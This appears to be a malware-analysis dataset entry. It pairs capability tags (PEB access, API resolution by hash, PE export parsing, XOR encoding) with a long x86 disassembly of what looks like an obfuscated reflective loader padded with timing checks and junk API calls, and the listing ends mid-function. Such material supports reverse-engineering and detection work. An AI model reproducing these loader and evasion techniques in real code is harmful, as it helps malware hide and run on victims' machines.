Function at 0x1000d9a0
Capabilities:
Access peb ldr_data
Encode data using xor
Get disk information
Get number of processors
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x330
rdtscp
xor ecx, ecx
mov esi, 0x989680
cmp esi, eax
sbb ecx, edx
mov edi, 0x21bde81
jb 0x1000d9d7
rdtscp
push edx
push eax
push 0
push 0x989680
call fcn.10021070
mov edi, eax
rdtscp
mov ecx, 0x8ac1
mul ecx
push 0
push 0x5f
push edx
push eax
call fcn.100210e0
mov dword [esp + 0x1c4], eax
lea ebx, [eax + 3]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
call esi
mov dword [esp + 0x14], ebx
lea eax, [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0x54], eax
cmp edi, ebx
mov dword [esp + 8], edi
jle 0x1000ded9
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ebx, dword [esp + 0x54]
jmp 0x1000da33
add ebx, 0xffffffff
call esi
call esi
movzx eax, word [ebx]
cmp eax, 0x5a4d
jne 0x1000da30
mov ecx, dword [ebx + 0x3c]
lea eax, [ecx - 0x40]
cmp eax, 0x3bf
ja 0x1000da30
cmp dword [ebx + ecx], 0x4550
jne 0x1000da30
add ecx, ebx
mov dword [esp + 0x60], ecx
mov eax, dword fs:[0x30]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
cmp edi, eax
mov dword [esp + 0x54], ebx
jle 0x1000deed
lea ecx, [edi + edi]
mov dword [esp + 0xc], ecx
cmp ecx, eax
jge 0x1000e55d
xor edi, edi
mov edx, 0x5c
movsd xmm0, qword [0x1004a908]
mov ebx, dword [sym.imp.USER32.dll_GetActiveWindow]
jmp 0x1000dac6
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
movsd xmm0, qword [0x1004a908]
mov edx, 0x5c
mov edi, 0
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x14]
jge 0x1000e55d
mulsd xmm0, xmm0
movd xmm1, edx
movd xmm2, edi
punpckldq xmm1, xmm2
movq qword [esp + 0x320], xmm1
fild qword [esp + 0x320]
fstp qword [esp + 0x318]
movapd xmm1, xmm0
subsd xmm1, qword [esp + 0x318]
movsd qword [esp + 0xe0], xmm1
fld qword [esp + 0xe0]
fnstcw word [esp + 0xa8]
movzx eax, word [esp + 0xa8]
or eax, 0xc00
mov word [esp + 0xde], ax
fldcw word [esp + 0xde]
fistp qword [esp + 0xe0]
fldcw word [esp + 0xa8]
mov edx, dword [esp + 0xe0]
mov edi, dword [esp + 0xe4]
movsd xmm1, qword [esp + 0xe0]
movlps qword [esp + 0x310], xmm1
fild qword [esp + 0x310]
fstp qword [esp + 0x308]
movapd xmm1, xmm0
divsd xmm1, qword [esp + 0x308]
movsd qword [esp + 0x1b0], xmm1
fld qword [esp + 0x1b0]
fnstcw word [esp + 0xa6]
movzx eax, word [esp + 0xa6]
or eax, 0xc00
mov word [esp + 0xdc], ax
fldcw word [esp + 0xdc]
fistp qword [esp + 0x1b0]
fldcw word [esp + 0xa6]
mov eax, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x1b4]
cmp eax, 0x15
mov esi, ecx
sbb esi, 0
jl 0x1000dac6
mov edx, 0x21
cmp edx, eax
mov edx, 0
sbb edx, ecx
jl 0x1000dbf0
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
jmp 0x1000dcf0
cmp eax, 0x7e
mov edx, ecx
sbb edx, 0
jl 0x1000dcd9
xor ebx, ebx
mov edi, 0x7c
mov edx, 0x20
xor esi, esi
nop dword [eax]
mov dword [esp + 0x30], edx
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push esi
push edi
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1a8]
fld dword [esp + 0x1a8]
fnstcw word [esp + 0xa4]
movzx eax, word [esp + 0xa4]
or eax, 0xc00
mov word [esp + 0xda], ax
fldcw word [esp + 0xda]
fistp qword [esp + 0x1a8]
fldcw word [esp + 0xa4]
mov esi, dword [esp + 0x1a8]
mov edi, dword [esp + 0x1ac]
mov dword [esp + 0x18], edi
push ebx
push dword [esp + 0x34]
push edi
push esi
call fcn.10020fc0
mov dword [esp + 0x24], eax
mov ecx, ebx
mov ebx, esi
mov eax, esi
mov dword [esp + 0x28], esi
sub ebx, dword [esp + 0x30]
mov esi, edi
sbb esi, ecx
push edx
push dword [esp + 0x28]
push edi
push eax
call fcn.10020fc0
mov ecx, edx
mov edi, eax
mul ebx
imul edi, esi
add edx, edi
imul ecx, ebx
add ecx, edx
mov edx, 0x7d
cmp edx, eax
mov edx, 0
sbb edx, ecx
mov edx, ebx
mov edi, dword [esp + 0x28]
mov ebx, esi
mov esi, dword [esp + 0x18]
jl 0x1000dc10
mov ebx, dword [sym.imp.USER32.dll_GetActiveWindow]
xor eax, 0x3b
or eax, ecx
jne 0x1000dcf0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
jmp 0x1000dda7
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0x2e
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1f4]
cvttss2si esi, dword [esp + 0x1f4]
push 0
push 0x32
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1a0]
fld dword [esp + 0x1a0]
fnstcw word [esp + 0xa2]
movzx eax, word [esp + 0xa2]
or eax, 0xc00
mov word [esp + 0xd8], ax
fldcw word [esp + 0xd8]
fistp qword [esp + 0x1a0]
fldcw word [esp + 0xa2]
mov eax, esi
mov ebx, eax
add bl, 0x2a
movsx eax, al
mov ecx, eax
sar ecx, 0x1f
push dword [esp + 0x1a4]
push dword [esp + 0x1a4]
push ecx
push eax
call fcn.10020fc0
movsx esi, bl
mov ebx, dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, esi
sar ecx, 0x1f
add eax, esi
adc ecx, edx
mov edx, 0x15
cmp edx, eax
mov edx, 0
sbb edx, ecx
jl 0x1000dec3
movss xmm1, dword [0x1004a910]
nop
movss dword [esp + 0x30], xmm1
call ebx
movss xmm1, dword [esp + 0x30]
movaps xmm0, xmm1
subss xmm0, xmm1
movss dword [esp + 0x198], xmm1
fld dword [esp + 0x198]
fnstcw word [esp + 0xa0]
movzx eax, word [esp + 0xa0]
or eax, 0xc00
mov word [esp + 0xd6], ax
fldcw word [esp + 0xd6]
cvttss2si ebx, xmm0
fistp qword [esp + 0x198]
fldcw word [esp + 0xa0]
push dword [esp + 0x19c]
push dword [esp + 0x19c]
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1f0]
cvttss2si esi, dword [esp + 0x1f0]
movsx edi, bl
mov ebx, dword [sym.imp.USER32.dll_GetActiveWindow]
mov eax, edi
sar eax, 0x1f
push eax
push edi
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1ec]
imul esi, edi
xorps xmm0, xmm0
cvtsi2ss xmm0, esi
movss xmm1, dword [esp + 0x1ec]
divss xmm0, xmm1
movss dword [esp + 0x190], xmm0
fld dword [esp + 0x190]
fnstcw word [esp + 0x9e]
movzx eax, word [esp + 0x9e]
or eax, 0xc00
mov word [esp + 0xd4], ax
fldcw word [esp + 0xd4]
fistp qword [esp + 0x190]
fldcw word [esp + 0x9e]
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
cmp eax, 0x16
mov edx, ecx
sbb edx, 0
jl 0x1000ddb0
xor eax, 0x62
or eax, ecx
je 0x1000daa0
call dword [sym.imp.USER32.dll_GetFocus]
jmp 0x1000daa6
mov dword [esp + 0x48], 0
mov eax, dword fs:[0x30]
mov dword [esp + 0x10], eax
jmp 0x1000def5
mov dword [esp + 0x48], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov esi, edi
xor ebx, ebx
mov edi, 0xbf21e9a
nop word cs:[eax + eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
add edi, 0xffffffff
jne 0x1000df20
mov eax, dword [esp + 8]
add eax, eax
mov ecx, dword [esp + 0x14]
cmp eax, ecx
jge 0x1000e101
xor esi, 0x73
or esi, ebx
je 0x1000e026
movsd xmm0, qword [0x1004a920]
xor eax, eax
nop word cs:[eax + eax]
nop dword [eax]
movsx eax, al
xorps xmm1, xmm1
cvtsi2sd xmm1, eax
add eax, eax
xorps xmm2, xmm2
cvtsi2ss xmm2, eax
movss dword [esp + 0x30], xmm2
sub esp, 8
movsd qword [esp], xmm1
subsd xmm1, xmm0
movsd qword [esp + 0x30], xmm1
call fcn.1000d350
add esp, 8
fstp qword [esp + 0x2b0]
cvttsd2si eax, qword [esp + 0x2b0]
movss xmm0, dword [esp + 0x30]
cvtss2sd xmm0, xmm0
movsd xmm3, qword [esp + 0x28]
movapd xmm1, xmm3
movsx ecx, al
xorps xmm2, xmm2
cvtsi2sd xmm2, ecx
subsd xmm1, xmm0
subsd xmm1, xmm2
movsd qword [esp + 0x140], xmm1
fld qword [esp + 0x140]
fnstcw word [esp + 0x8a]
movzx ecx, word [esp + 0x8a]
or ecx, 0xc00
mov word [esp + 0xc0], cx
fldcw word [esp + 0xc0]
fistp qword [esp + 0x140]
fldcw word [esp + 0x8a]
mov ecx, dword [esp + 0x140]
xor ecx, 0x73
or ecx, dword [esp + 0x144]
movapd xmm0, xmm3
jne 0x1000df60
mov edi, 0x38
movsd xmm0, qword [0x1004a928]
nop word cs:[eax + eax]
nop dword [eax]
xorps xmm1, xmm1
cvtsi2sd xmm1, edi
mulsd xmm1, xmm0
movapd xmmword [esp + 0x30], xmm1
cvttsd2si eax, xmm1
imul edi, eax
push edi
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x2a8]
movsd xmm0, qword [esp + 0x2a8]
cvttpd2dq xmm1, xmmword [esp + 0x30]
cvtdq2pd xmm1, xmm1
xorps xmm2, xmm2
cvtsi2sd xmm2, edi
mulsd xmm2, xmm0
addsd xmm2, xmm1
movsd qword [esp + 0x138], xmm2
fld qword [esp + 0x138]
fnstcw word [esp + 0x88]
movzx eax, word [esp + 0x88]
or eax, 0xc00
mov word [esp + 0xbe], ax
fldcw word [esp + 0xbe]
fistp qword [esp + 0x138]
fldcw word [esp + 0x88]
mov esi, dword [esp + 0x138]
mov ebx, dword [esp + 0x13c]
cmp esi, 0x61
mov eax, ebx
sbb eax, 0
jl 0x1000e040
mov dword [esp + 0x30], 0
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x48]
mov edx, dword [esp + 0x18]
test edi, edi
jne 0x1000e126
jmp 0x1000e16a
mov edx, dword [esp + 0x54]
mov eax, dword [edx + 0x3c]
mov edi, dword [eax + edx + 0x54]
mov dword [esp + 0x48], edi
add eax, edx
mov dword [esp + 0x60], eax
mov edi, dword [esp + 0x10]
mov dword [esp + 0x30], edi
mov edi, dword [esp + 0x48]
test edi, edi
je 0x1000e16a
mov eax, edi
nop dword [eax + eax]
cmp dword [esp + 8], ecx
jle 0x1000e3c2
mov edi, eax
add edi, 0xffffffff
mov dword [esp + 0x18], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, dword [esp + 0x18]
movzx eax, byte [edx]
add edx, 1
mov ecx, dword [esp + 0x30]
mov byte [ecx], al
add ecx, 1
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x14]
mov eax, edi
test edi, edi
jne 0x1000e130
mov edi, 0xbf21e99
nop
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
add edi, 0xffffffff
jne 0x1000e170
mov eax, dword [esp + 0x14]
cmp dword [esp + 8], eax
jle 0x1000e31a
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call edi
push 0
push 0x2710
push edx
push eax
call fcn.10021070
movd xmm0, edx
movd xmm1, eax
punpckldq xmm1, xmm0
movq qword [esp + 0x278], xmm1
fild qword [esp + 0x278]
fstp qword [esp + 0x270]
pxor xmm0, xmm0
movsd xmm1, qword [esp + 0x270]
mulsd xmm1, xmm0
movsd qword [esp + 0x30], xmm1
call edi
push 0
push 0x2710
push edx
push eax
call fcn.10021070
movd xmm0, edx
movd xmm1, eax
punpckldq xmm1, xmm0
movq qword [esp + 0x268], xmm1
fild qword [esp + 0x268]
fstp qword [esp + 0x260]
movsd xmm0, qword [esp + 0x260]
mulsd xmm0, qword [0x1004a948]
addsd xmm0, qword [esp + 0x30]
mulsd xmm0, qword [0x1004a950]
mov ecx, dword [esp + 0x60]
movzx eax, word [ecx + 0x14]
add eax, ecx
add eax, 0x18
movzx ecx, word [ecx + 6]
test ecx, ecx
jne 0x1000e273
mov dword [esp + 0xc], eax
mov dword [esp + 0x30], 0
jmp 0x1000ea78
mov eax, dword [esp + 0xc]
add eax, 0x28
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x1000ea6c
add ecx, 0xffffffff
mov dword [esp + 0x18], ecx
mov dword [esp + 0xc], eax
mov eax, dword [eax + 0x10]
test eax, eax
je 0x1000e260
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0xc]
mov edx, dword [eax + 0x14]
add edx, dword [esp + 0x54]
mov edi, dword [eax + 0xc]
mov ecx, dword [esp + 0x28]
add edi, dword [esp + 0x10]
lea eax, [ecx - 1]
mov dword [esp + 0x24], eax
mov eax, ecx
and eax, 3
mov dword [esp + 0x30], eax
je 0x1000e2da
xor eax, eax
nop word cs:[eax + eax]
nop dword [eax]
movzx ecx, byte [edx + eax]
mov byte [edi + eax], cl
add eax, 1
cmp dword [esp + 0x30], eax
jne 0x1000e2c0
mov ecx, dword [esp + 0x28]
sub ecx, eax
add edx, eax
add edi, eax
mov eax, dword [esp + 0x24]
cmp eax, 3
jb 0x1000e260
nop word [eax + eax]
movzx eax, byte [edx]
mov byte [edi], al
movzx eax, byte [edx + 1]
mov byte [edi + 1], al
movzx eax, byte [edx + 2]
mov byte [edi + 2], al
movzx eax, byte [edx + 3]
add edx, 4
mov byte [edi + 3], al
add edi, 4
add ecx, 0xfffffffc
jne 0x1000e2f0
jmp 0x1000e260
movss xmm1, dword [0x1004a940]
nop word cs:[eax + eax]
nop dword [eax]
cmp esi, 0x67
sbb ebx, 0
jge 0x1000e351
push 0
push 0x31e
call fcn.1000d810
fstp st(0)
movss xmm1, dword [0x1004a940]
add esp, 8
movaps xmm0, xmm1
nop word cs:[eax + eax]
nop
divss xmm0, xmm0
movss dword [esp + 0x120], xmm0
fld dword [esp + 0x120]
fnstcw word [esp + 0x82]
movzx eax, word [esp + 0x82]
or eax, 0xc00
mov word [esp + 0xb8], ax
fldcw word [esp + 0xb8]
fistp qword [esp + 0x120]
fldcw word [esp + 0x82]
mov esi, dword [esp + 0x120]
mov ebx, dword [esp + 0x124]
cmp esi, 0x2e
mov eax, ebx
sbb eax, 0
jl 0x1000e360
jmp 0x1000e330
mov edi, 0x32
jmp 0x1000e453
push 0
push 0x1a
call fcn.1000d810
add esp, 8
fstp qword [esp + 0x288]
movsd xmm1, qword [esp + 0x288]
movsd xmm0, qword [0x1004a920]
subsd xmm0, xmm1
addsd xmm1, qword [0x1004a930]
addsd xmm0, xmm1
movsd qword [esp + 0x128], xmm0
fld qword [esp + 0x128]
fnstcw word [esp + 0x84]
movzx eax, word [esp + 0x84]
or eax, 0xc00
mov word [esp + 0xba], ax
fldcw word [esp + 0xba]
fistp qword [esp + 0x128]
fldcw word [esp + 0x84]
mov esi, dword [esp + 0x128]
mov ebx, dword [esp + 0x12c]
mov eax, 0x5b
cmp eax, esi
mov eax, 0
sbb eax, ebx
jl 0x1000e474
push 0x405f8000
push 0
call fcn.1000d570
fstp st(0)
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x40438000
push 0
call fcn.1000d570
add esp, 8
fstp qword [esp + 0x2a0]
cvttsd2si esi, qword [esp + 0x2a0]
push esi
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x298]
cvttsd2si ebx, qword [esp + 0x298]
push ebx
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x290]
mov eax, esi
cdq
idiv ebx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
divsd xmm0, qword [esp + 0x290]
movsd qword [esp + 0x130], xmm0
fld qword [esp + 0x130]
fnstcw word [esp + 0x86]
movzx eax, word [esp + 0x86]
or eax, 0xc00
mov word [esp + 0xbc], ax
fldcw word [esp + 0xbc]
fistp qword [esp + 0x130]
fldcw word [esp + 0x86]
cmp edi, dword [esp + 0x130]
mov eax, 0
sbb eax, dword [esp + 0x134]
jl 0x1000e3d0
push 0x405b0000
push 0
call fcn.1000d350
add esp, 8
fstp qword [esp + 0x280]
movsd xmm0, qword [0x1004a938]
subsd xmm0, qword [esp + 0x280]
jmp 0x1000e404
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx + 0xc]
mov eax, ecx
mov dword [esp + 0x10], ecx
mov edx, dword [ecx + 0x14]
test edx, edx
je 0x1000f4a2
mov edi, dword [esp + 8]
mov esi, edi
xor ebx, ebx
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0xec], 0
mov ecx, dword [esp + 0x14]
jmp 0x1000e5b6
mov dword [esp + 0x5c], edx
mov edx, dword [esp + 0x48]
mov edx, dword [edx]
test edx, edx
mov edi, dword [esp + 8]
je 0x1000fa20
lea eax, [edi + edi]
cmp eax, ecx
cmovl edi, ecx
mov dword [esp + 8], edi
mov edi, dword [edx + 0x28]
mov dword [esp + 0x48], edx
movzx eax, word [edx + 0x24]
test ax, ax
mov dword [esp + 0x18], edi
je 0x1000ea21
mov dword [esp + 0xc], eax
add eax, 0xffffffff
movzx eax, ax
lea eax, [edi + eax + 1]
mov dword [esp + 0xe8], eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x28], 0
mov edx, dword [esp + 8]
nop word cs:[eax + eax]
nop dword [eax]
mov eax, edx
shr eax, 0x1f
add eax, edx
sar eax, 1
cmp eax, ecx
cmovl edx, ecx
mov dword [esp + 8], edx
rdtscp
mov ecx, 0x989680
cmp ecx, eax
mov eax, 0
sbb eax, edx
mov edi, 0xd30c165
jb 0x1000e64d
rdtscp
push edx
push eax
push 0
push 0x989680
call fcn.10021070
mov edi, eax
rdtscp
mov ecx, 0xa734
mul ecx
push 0
push 0x5f
push edx
push eax
call fcn.100210e0
add eax, 3
mov ecx, dword [esp + 0x28]
rol ecx, 0x13
cmp edi, eax
mov eax, 0
cmovle ecx, eax
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
movzx eax, byte [edx + eax]
cmp eax, 0x60
jbe 0x1000e6a0
add ecx, eax
add ecx, 0xffffffe0
mov dword [esp + 0x28], ecx
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 8]
jmp 0x1000e6b7
mov dword [esp + 0x28], ecx
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 8]
cmp edx, edi
jle 0x1000e6b7
movzx eax, al
add dword [esp + 0x28], eax
cmp edx, edi
jl 0x1000f326
mov ecx, dword [esp + 0x30]
add ecx, 1
mov eax, ecx
mov dword [esp + 0x30], ecx
cmp word [esp + 0xc], cx
mov ecx, edi
jne 0x1000e610
cmp dword [esp + 0x28], 0x6a4abc5b
jne 0x1000ea16
cmp edx, ecx
jle 0x1000e723
mov eax, dword [esp + 0x48]
mov edx, dword [eax + 0x10]
mov eax, dword [edx + 0x3c]
mov edi, dword [eax + edx + 0x78]
lea eax, [edi + edx]
mov dword [esp + 0x1c0], eax
mov eax, dword [edi + edx + 0x20]
add eax, edx
mov dword [esp + 0x58], eax
mov eax, dword [edi + edx + 0x24]
mov dword [esp + 0x10], edx
add eax, edx
mov dword [esp + 0x6c], eax
mov ax, 3
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 8]
jmp 0x1000e771
cmp dword [esp + 0x24], ecx
mov eax, dword [esp + 8]
cmovl eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x70]
mov eax, dword [eax]
add eax, dword [esp + 0x10]
mov dword [esp + 0x64], eax
mov edi, dword [esp + 0xc]
add edi, 0xffffffff
mov eax, dword [esp + 8]
cmp eax, ecx
cmovle eax, ecx
add dword [esp + 0x58], 4
add dword [esp + 0x6c], 2
mov dword [esp + 0xc], edi
test di, di
je 0x1000ea4e
mov edi, eax
shr edi, 0x1f
mov dword [esp + 8], eax
add edi, eax
sar edi, 1
mov dword [esp + 0x24], edi
cmp edi, ecx
jge 0x1000e7c0
mov eax, esi
xor eax, 0x7f
mov esi, 0x80
or eax, ebx
jne 0x1000e7b3
mov ebx, edx
call dword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
push 0x405b0000
push 0
call fcn.1000d350
fstp st(0)
mov edx, ebx
mov ecx, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
cmp edx, 0x91afca54
jne 0x1000e800
jmp 0x1000e814
mov eax, dword [esp + 0x58]
mov eax, dword [eax]
mov edx, dword [esp + 0x10]
mov cl, byte [eax + edx]
add eax, edx
add eax, 1
xor edx, edx
nop word cs:[eax + eax]
nop
rol edx, 0x13
movsx ecx, cl
add ecx, edx
mov edx, ecx
movzx ecx, byte [eax]
add eax, 1
test cl, cl
jne 0x1000e7e0
mov ecx, dword [esp + 0x14]
cmp edx, 0x91afca54
je 0x1000e814
cmp edx, 0x7c0dfcaa
je 0x1000e814
cmp edx, 0xec0e4e8e
jne 0x1000e9f0
cmp dword [esp + 8], ecx
jle 0x1000e9aa
mov dword [esp + 0x5c], edx
cmp dword [esp + 0x24], ecx
jge 0x1000e986
xor eax, eax
mov ecx, 0x41
nop word cs:[eax + eax]
nop dword [eax]
push eax
push ecx
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x188]
fld dword [esp + 0x188]
fnstcw word [esp + 0x9c]
movzx eax, word [esp + 0x9c]
or eax, 0xc00
mov word [esp + 0xd2], ax
fldcw word [esp + 0xd2]
fistp qword [esp + 0x188]
fldcw word [esp + 0x9c]
mov ecx, dword [esp + 0x188]
mov eax, dword [esp + 0x18c]
cmp ecx, 0x5b
mov edx, eax
sbb edx, 0
jl 0x1000e840
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
push 0x39
call fcn.1000d810
fstp st(0)
add esp, 8
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], 0x2c
mov byte [esp + 0x18], 0x4f
nop word [eax + eax]
call dword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
movsx eax, byte [esp + 0x18]
mov ecx, eax
sar ecx, 0x1f
mov edx, dword [esp + 0x30]
add edx, eax
mov dword [esp + 0x30], edx
movd xmm0, edx
mov edi, dword [esp + 0x28]
adc edi, ecx
movd xmm1, edi
punpckldq xmm0, xmm1
movq qword [esp + 0x300], xmm0
fild qword [esp + 0x300]
fstp qword [esp + 0x2f8]
movsd xmm0, qword [esp + 0x2f8]
sub esp, 8
movsd qword [esp], xmm0
call fcn.1000d350
add esp, 8
fstp qword [esp + 0x2f0]
cvttsd2si ecx, qword [esp + 0x2f0]
movzx eax, byte [esp + 0x18]
mul cl
movsx ecx, cl
mov edx, ecx
sar edx, 0x1f
add ecx, dword [esp + 0x30]
mov dword [esp + 0x28], edi
adc edx, edi
mov byte [esp + 0x18], al
movsx edi, al
mov eax, edi
sar eax, 0x1f
sub ecx, edi
sbb edx, eax
cmp ecx, 9
sbb edx, 0
jl 0x1000e8d0
xor eax, eax
mov ecx, 0x41
mov edx, dword [esp + 0x24]
cmp edx, dword [esp + 0x14]
jl 0x1000e840
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax + 0x1c]
add eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x6c]
movzx ecx, word [ecx]
lea eax, [eax + ecx*4]
mov dword [esp + 0x70], eax
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x5c]
cmp edx, 0x7c0dfcaa
je 0x1000e9f9
cmp edx, 0xec0e4e8e
je 0x1000e72d
cmp edx, 0x91afca54
jne 0x1000e74a
cmp dword [esp + 8], ecx
jle 0x1000f67f
mov eax, dword [esp + 0x70]
mov eax, dword [eax]
add eax, dword [esp + 0x10]
mov dword [esp + 0xec], eax
jmp 0x1000e74a
mov edi, dword [esp + 0xc]
jmp 0x1000e751
cmp dword [esp + 8], ecx
jl 0x1000f889
mov eax, dword [esp + 0x70]
mov eax, dword [eax]
add eax, dword [esp + 0x10]
mov dword [esp + 0x68], eax
jmp 0x1000e74a
mov eax, dword [esp + 0xe8]
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x5c]
cmp dword [esp + 0xec], 0
je 0x1000e5a0
cmp dword [esp + 0x68], 0
je 0x1000e5a0
cmp dword [esp + 0x64], 0
je 0x1000e5a0
jmp 0x1000fa2d
mov dword [esp + 8], eax
mov eax, dword [esp + 0xe8]
mov dword [esp + 0x18], eax
cmp dword [esp + 0xec], 0
jne 0x1000ea33
jmp 0x1000e5a0
mov dword [esp + 0xc], eax
mov dword [esp + 0x30], 0xffffffff
divsd xmm0, qword [0x1004a958]
movsd xmm2, qword [0x1004a960]
mov edi, 0xbf21e9a
movsd xmm1, qword [0x1004a950]
nop word cs:[eax + eax]
nop
movsd qword [esp + 0x18], xmm2
movsd qword [esp + 0x48], xmm0
addsd xmm2, qword [0x1004a968]
mulsd xmm2, xmm1
addsd xmm2, qword [0x1004a990]
movsd qword [esp + 0x28], xmm2
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push 0
push 0x2710
push edx
push eax
call fcn.10021070
movsd xmm2, qword [esp + 0x18]
movd xmm0, edx
movd xmm1, eax
punpckldq xmm1, xmm0
movsd xmm0, qword [esp + 0x48]
movq qword [esp + 0x258], xmm1
movsd xmm1, qword [0x1004a950]
fild qword [esp + 0x258]
fstp qword [esp + 0x250]
movsd xmm3, qword [esp + 0x28]
mulsd xmm3, qword [esp + 0x250]
mulsd xmm3, qword [0x1004a970]
addsd xmm0, xmm3
addsd xmm2, qword [0x1004a960]
add edi, 0xffffffff
jne 0x1000eaa0
mov ecx, dword [esp + 8]
mov eax, ecx
shr eax, 0x1f
add eax, ecx
sar eax, 1
mov edx, dword [esp + 0x14]
cmp eax, edx
cmovl ecx, edx
mov eax, dword [esp + 0x60]
mov edi, dword [eax + 0x80]
mov eax, dword [esp + 0x10]
cmp dword [edi + eax + 0xc], 0
mov dword [esp + 8], ecx
je 0x1000ee26
mov eax, dword [esp + 0x60]
add eax, 0x80
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
add eax, edi
add eax, 0xc
add edi, dword [esp + 0x10]
mov dword [esp + 0x24], edi
movsd qword [esp + 0x48], xmm0
jmp 0x1000ebc1
mov eax, dword [esp + 0x28]
lea edi, [eax + 0x14]
mov ecx, dword [esp + 8]
cmp ecx, edx
cmovle edi, eax
lea eax, [edi + 0xc]
cmp dword [edi + 0xc], 0
mov dword [esp + 0x24], edi
je 0x1000ee26
mov dword [esp + 0x28], edi
mov edi, dword [esp + 0x18]
cmp dword [edi], 0
je 0x1000ee26
cmp ecx, edx
mov ecx, dword [esp + 0xc]
jle 0x1000ec23
mov eax, dword [eax]
mov edi, dword [esp + 0x10]
add eax, edi
push eax
call dword [esp + 0x68]
movsd xmm1, qword [0x1004a950]
movsd xmm0, qword [esp + 0x48]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x54], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx]
add eax, edi
mov dword [esp + 0x30], eax
mov ecx, dword [ecx + 0x10]
add ecx, edi
jmp 0x1000ec23
add ecx, 4
mov edi, dword [esp + 0x30]
lea eax, [edi + 4]
test edi, edi
cmovne edi, eax
mov dword [esp + 0x30], edi
mov dword [esp + 0xc], ecx
mov edi, dword [ecx]
test edi, edi
je 0x1000eba0
mov eax, dword [esp + 0x30]
test eax, eax
je 0x1000ec43
mov eax, dword [eax]
test eax, eax
js 0x1000edf0
cmp dword [esp + 8], edx
jge 0x1000ed50
xor edi, edi
mov esi, pe_nt_image_headers32
nop word cs:[eax + eax]
nop
push edi
push esi
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1d8]
cvttss2si eax, dword [esp + 0x1d8]
movsx ecx, al
mov ebx, ecx
sar ebx, 0x1f
mov eax, esi
mul ecx
imul esi, ebx
add esi, edx
imul edi, ecx
add edi, esi
sub ecx, eax
sbb ebx, edi
xor ecx, 0x72
or ecx, ebx
mov esi, eax
je 0x1000ec60
push 0x5d
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x110]
fld qword [esp + 0x110]
fnstcw word [esp + 0x7c]
movzx eax, word [esp + 0x7c]
or eax, 0xc00
mov word [esp + 0xb2], ax
fldcw word [esp + 0xb2]
fistp qword [esp + 0x110]
fldcw word [esp + 0x7c]
mov esi, dword [esp + 0x110]
mov ebx, dword [esp + 0x114]
nop dword [eax + eax]
mov eax, esi
xor eax, 0x72
or eax, ebx
jne 0x1000ed80
push 0x72
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x108]
fld qword [esp + 0x108]
fnstcw word [esp + 0x7a]
movzx eax, word [esp + 0x7a]
or eax, 0xc00
mov word [esp + 0xb0], ax
fldcw word [esp + 0xb0]
fistp qword [esp + 0x108]
fldcw word [esp + 0x7a]
mov esi, dword [esp + 0x108]
mov ebx, dword [esp + 0x10c]
jmp 0x1000ecf0
mov ecx, dword [esp + 0x10]
lea eax, [edi + ecx]
add eax, 2
add edi, ecx
push eax
push dword [esp + 0x58]
call dword [esp + 0x70]
mov ecx, dword [esp + 0xc]
mov dword [ecx], eax
mov dword [esp + 0x18], edi
mov edi, dword [esp + 8]
jmp 0x1000edbf
cmp esi, 8
mov eax, ebx
sbb eax, 0
mov edi, dword [esp + 8]
jl 0x1000edbf
